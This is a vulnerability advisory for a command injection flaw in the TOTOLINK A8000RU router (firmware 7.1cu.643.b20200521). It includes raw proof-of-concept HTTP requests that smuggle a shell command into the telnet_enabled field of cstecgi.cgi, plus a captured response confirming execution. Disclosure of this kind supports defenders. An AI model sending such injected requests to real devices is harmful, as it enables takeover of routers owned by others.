# A8000RU Command Injection Vulnerability Summary ## Vulnerability Overview The TOTOLINK A8000RU router has a command injection vulnerability. In `cstecgi.cgi`, an attacker can inject arbitrary operating system commands into the `CstecSystem` function for execution by crafting the `telnet_enabled` parameter in the request. ## Impact Scope - **Vendor**: TOTOLINK - **Product**: A8000RU - **Version**: 7.1cu.643.b20200521 ## Remediation No specific remediation plan or patch information is provided on the page. It is recommended to contact the vendor for updates. ## Proof of Concept (PoC) Below is an example HTTP request exploiting this vulnerability: ```http POST /cgi-bin/cstecgi.cgi HTTP/1.1 Host: 192.168.6.2 Content-Length: 80 X-Requested-With: XMLHttpRequest Accept-Language: en-US,en;q=0.9 Accept: application/json, text/javascript, */*; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Origin: http://192.168.6.2 Referer: http://192.168.6.2/basic/index.html Accept-Encoding: gzip, deflate, br Cookie: SESSION_ID=2-1772405702.2 Connection: keep-alive {"topscurl":"setTelnetCfg","telnet_enabled":"ls>./setTelnetCfg.txt"} ``` ### Request Details ```http POST /cgi-bin/cstecgi.cgi HTTP/1.1 Host: 192.168.6.2 Content-Length: 79 X-Requested-With: XMLHttpRequest Accept-Language: en-US,en;q=0.9 Accept: application/json, text/javascript, */*; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Origin: http://192.168.6.2 Referer: http://192.168.6.2/phone/login.html Accept-Encoding: gzip, deflate, br Cookie: SESSION_ID=2-1774037321.2 Connection: keep-alive {"topscurl":"setTelnetCfg","telnet_enabled":"ls>./setTelnetCfg.txt"} ``` ### Response Details ```http HTTP/1.1 200 OK Date: Fri, 27 Jun 2025 02:13:19 GMT Server: lighttpd/1.4.30 Content-Length: 233 Content-Type: application/json SendMsgToAgentWithDifferentNumberByFlyteethnaspex send-byte Plexcheckapplyservice LxtoCwlanExecutionFailed { "success": true, "error": null, "lan_ip": "192.168.0.1", "wan": "0", "reserv": "reserv" } ``` ## Result After submitting the above HTTP request, it was observed that the `txt` file was successfully created, and its content was the list of filenames in the directory. This confirms that the command `ls>./setTelnetCfg.txt` was successfully executed.